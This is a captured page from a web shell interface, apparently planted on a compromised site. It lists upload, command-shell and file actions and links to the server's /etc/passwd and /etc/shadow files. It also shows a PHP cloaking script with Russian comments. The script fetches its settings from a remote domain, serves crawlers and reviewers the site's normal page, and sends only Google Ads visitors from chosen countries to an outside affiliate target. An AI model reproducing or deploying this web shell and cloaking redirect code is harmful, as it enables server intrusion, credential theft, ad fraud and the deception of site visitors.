Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
canadaso
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php /* ========================= TOP-LEVEL SETTINGS ========================= */ // Главный файл (куда вести при любых ошибках/блоках) $MAIN_FILE = __DIR__ . '/index.php'; // URL JSON-конфига на отдельном домене $REMOTE_CONFIG_URL = 'https://matildovna.live/landing-config-m.json'; // Локальный файл кэша и время жизни (в секундах) // 600 секунд = 10 минут $REMOTE_CONFIG_CACHE_FILE = __DIR__ . '/wp-site.json'; $REMOTE_CONFIG_TTL = 600; /* ========================= LOG SETTINGS ========================= */ // включение/выключение логов по ботам define('LOG_BOT_ENABLED', false); // включение/выключение логов по остальным ошибкам define('LOG_FAIL_ENABLED', false); // файл логов для ботов $LOG_FILE_BOT = __DIR__ . '/bot_block.log'; // файл логов для остальных ошибок $LOG_FILE_FAIL = __DIR__ . '/failed.log'; /* ========================= LOG FUNCTION ========================= */ function logFail($reason, $extra = []) { global $LOG_FILE_BOT, $LOG_FILE_FAIL; // определяем, это лог по боту или нет $isBot = ($reason === 'BOT_BLOCK'); // если бот, но лог ботов выключен — выходим if ($isBot && LOG_BOT_ENABLED !== true) { return; } // если не бот, но лог остальных ошибок выключен — выходим if (!$isBot && LOG_FAIL_ENABLED !== true) { return; } // выбираем нужный файл $logFile = $isBot ? $LOG_FILE_BOT : $LOG_FILE_FAIL; // Собираем полный URL, по которому пришёл запрос $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; $host = $_SERVER['HTTP_HOST'] ?? ''; $uri = $_SERVER['REQUEST_URI'] ?? ''; $fullUrl = $scheme . $host . $uri; $entry = [ 'time' => date('Y-m-d H:i:s'), 'ip' => $_SERVER['REMOTE_ADDR'] ?? '', 'ua' => $_SERVER['HTTP_USER_AGENT'] ?? '', 'url' => $fullUrl, 'ref' => $_SERVER['HTTP_REFERER'] ?? '', 'reason' => $reason, 'query' => $_SERVER['QUERY_STRING'] ?? '', 'extra' => $extra ]; file_put_contents( $logFile, json_encode($entry, JSON_UNESCAPED_UNICODE) . PHP_EOL, FILE_APPEND | LOCK_EX ); } /* ========================= REMOTE CONFIG (RAW + CACHE) ========================= */ function loadRemoteConfigRaw() { global $REMOTE_CONFIG_URL; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $REMOTE_CONFIG_URL, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 2, CURLOPT_SSL_VERIFYPEER => false, ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if (!$response || $httpCode !== 200) { return null; } $data = json_decode($response, true); if (!is_array($data)) { return null; } return $data; } function loadRemoteConfigCached() { global $REMOTE_CONFIG_CACHE_FILE, $REMOTE_CONFIG_TTL; // 1. Пытаемся использовать валидный кэш if (file_exists($REMOTE_CONFIG_CACHE_FILE)) { $age = time() - filemtime($REMOTE_CONFIG_CACHE_FILE); if ($age < $REMOTE_CONFIG_TTL) { $data = json_decode(file_get_contents($REMOTE_CONFIG_CACHE_FILE), true); if (is_array($data)) { return $data; } } } // 2. Пробуем загрузить свежий конфиг $data = loadRemoteConfigRaw(); if (is_array($data)) { file_put_contents( $REMOTE_CONFIG_CACHE_FILE, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES), LOCK_EX ); return $data; } // 3. Если свежий не удалось — пробуем использовать старый кэш, даже протухший if (file_exists($REMOTE_CONFIG_CACHE_FILE)) { $data = json_decode(file_get_contents($REMOTE_CONFIG_CACHE_FILE), true); if (is_array($data)) { return $data; } } // 4. Вообще ничего нет return null; } /* ========================= CONFIG FROM JSON (+ DEFAULTS) ========================= */ $remoteConfig = loadRemoteConfigCached(); // Дефолтные значения (на случай, если JSON не загрузился или не содержит нужные ключи) $TARGET_DOMAIN_DEFAULT = 'https://hisar.info/TtNN2g'; $SUB_ID_1_DEFAULT = 'wwi555'; $SUB_ID_2_DEFAULT = '01010'; $ALLOWED_COUNTRIES_DEFAULT = ['DE', 'US', 'CA', 'KZ', 'IT', 'TW', 'ES', 'PL', 'SG', 'MX']; // Берём из JSON, если есть, иначе — дефолты $TARGET_DOMAIN = $remoteConfig['target_domain'] ?? $TARGET_DOMAIN_DEFAULT; $SUB_ID_1 = $remoteConfig['sub_id_1'] ?? $SUB_ID_1_DEFAULT; $SUB_ID_2 = $remoteConfig['sub_id_2'] ?? $SUB_ID_2_DEFAULT; $ALLOWED_COUNTRIES = $remoteConfig['allowed_countries'] ?? $ALLOWED_COUNTRIES_DEFAULT; /* ========================= 1. BOT BLOCK (СРАЗУ) ========================= */ $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if ( $userAgent === '' || preg_match('/bot|crawl|spider|slurp|googlebot|bingbot|yandexbot|duckduckbot|baiduspider|facebookexternalhit|telegrambot|whatsapp\//i', $userAgent) ) { logFail('BOT_BLOCK'); include $MAIN_FILE; exit; } /* ========================= 1.1 BOT BLOCK != 0.0.0 ========================= */ if (preg_match('/Chrome\/(\d+)\.([0-9.]+)/i', $userAgent, $matches)) { $minorVersion = $matches[2]; if ($minorVersion !== '0.0.0') { logFail('BOT_BLOCK'); include $MAIN_FILE; exit; } } /* ========================= 2. VALIDATORS (СНАЧАЛА ПАРАМЕТРЫ) ========================= */ function isDigits($value, $min, $max) { return is_string($value) && ctype_digit($value) && strlen($value) >= $min && strlen($value) <= $max; } function isTmValid($value) { return is_string($value) && strncmp($value, 'AW-', 3) === 0 && strlen($value) >= 32 && strlen($value) <= 42; } // Собираем GET-параметры $gad_campaignid = $_GET['gad_campaignid'] ?? null; $gad_source = $_GET['gad_source'] ?? null; $tm = $_GET['tm'] ?? null; $gclid = $_GET['gclid'] ?? null; $wbraid = $_GET['wbraid'] ?? null; $gbraid = $_GET['gbraid'] ?? null; // 2.1. gad_* + tm ОБЯЗАТЕЛЬНЫ И СНАЧАЛА ПРОВЕРЯЕМ ИХ if ( !isDigits($gad_campaignid, 9, 12) || !isDigits($gad_source, 1, 2) || !isTmValid($tm) ) { logFail('BASE_PARAMS_INVALID', [ 'gad_campaignid' => $gad_campaignid, 'gad_source' => $gad_source, 'tm' => $tm ]); include $MAIN_FILE; exit; } // 2.2. ОДИН ИЗ TRACKING ПАРАМЕТРОВ $hasValidTracking = false; if ($gclid && strlen($gclid) >= 50 && strlen($gclid) <= 105) { $hasValidTracking = true; } if ($wbraid && strlen($wbraid) >= 105 && strlen($wbraid) <= 135) { $hasValidTracking = true; } if ($gbraid && strlen($gbraid) >= 105 && strlen($gbraid) <= 135) { $hasValidTracking = true; } if (!$hasValidTracking) { logFail('TRACKING_INVALID', [ 'gclid' => $gclid, 'wbraid' => $wbraid, 'gbraid' => $gbraid ]); include $MAIN_FILE; exit; } /* ========================= 3. REAL IP ========================= */ function getUserIp() { if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; } return $_SERVER['REMOTE_ADDR'] ?? ''; } $ip = getUserIp(); if ($ip === '127.0.0.1' || $ip === '') { $ip = '8.8.8.8'; // local test / fallback } /* ========================= 4. GEO CHECK (ПОСЛЕ ПАРАМЕТРОВ) ========================= */ function getGeoMulti($ip) { // список резервных сервисов $services = [ 'ip-api' => [ 'url' => "http://ip-api.com/json/%s?fields=countryCode", 'key' => 'countryCode' ], 'geojs' => [ 'url' => "https://get.geojs.io/v1/ip/country/%s.json", 'key' => 'country' ], 'ipwhois' => [ 'url' => "http://ipwhois.app/json/%s", 'key' => 'country_code' ] ]; foreach ($services as $service) { $url = sprintf($service['url'], $ip); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 2, // не ждём вечно CURLOPT_SSL_VERIFYPEER => false, ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response && $httpCode === 200) { $data = json_decode($response, true); $countryCode = $data[$service['key']] ?? null; if ($countryCode && strlen($countryCode) === 2) { return strtoupper($countryCode); } } } return null; // никто не ответил } // 1) пробуем взять страну из Cloudflare $country = $_SERVER['HTTP_CF_IPCOUNTRY'] ?? null; // 2) если CF нет — идём по списку API if ($country === null) { $country = getGeoMulti($ip); } // 3) если так и не смогли определить — логируем, НО НЕ РЕЖЕМ if ($country === null) { logFail('GEO_UNKNOWN', ['ip' => $ip]); } else { // 4) если страна определена и не входит в список — блочим if (!in_array($country, $ALLOWED_COUNTRIES, true)) { logFail('GEO_BLOCK', ['country' => $country]); include $MAIN_FILE; exit; } } /* ========================= 5. DOMAIN ========================= */ $domain = $_SERVER["HTTP_X_FORWARDED_HOST"] ?? $_SERVER["HTTP_X_HOST"] ?? $_SERVER["HTTP_HOST"] ?? $_SERVER["SERVER_NAME"] ?? ''; /* ========================= 6. REDIRECT + TAIL ========================= */ $query = $_SERVER['QUERY_STRING'] ?? ''; $finalUrl = $TARGET_DOMAIN; $finalUrl .= ($query !== '' ? '?' . $query . '&' : '?'); $finalUrl .= 'sub_id_1=' . urlencode($SUB_ID_1) . '&sub_id_2=' . urlencode($SUB_ID_2) . '&domain=' . urlencode($domain); header('Location: ' . $finalUrl, true, 302); exit;
Free Space : 33046020096 Byte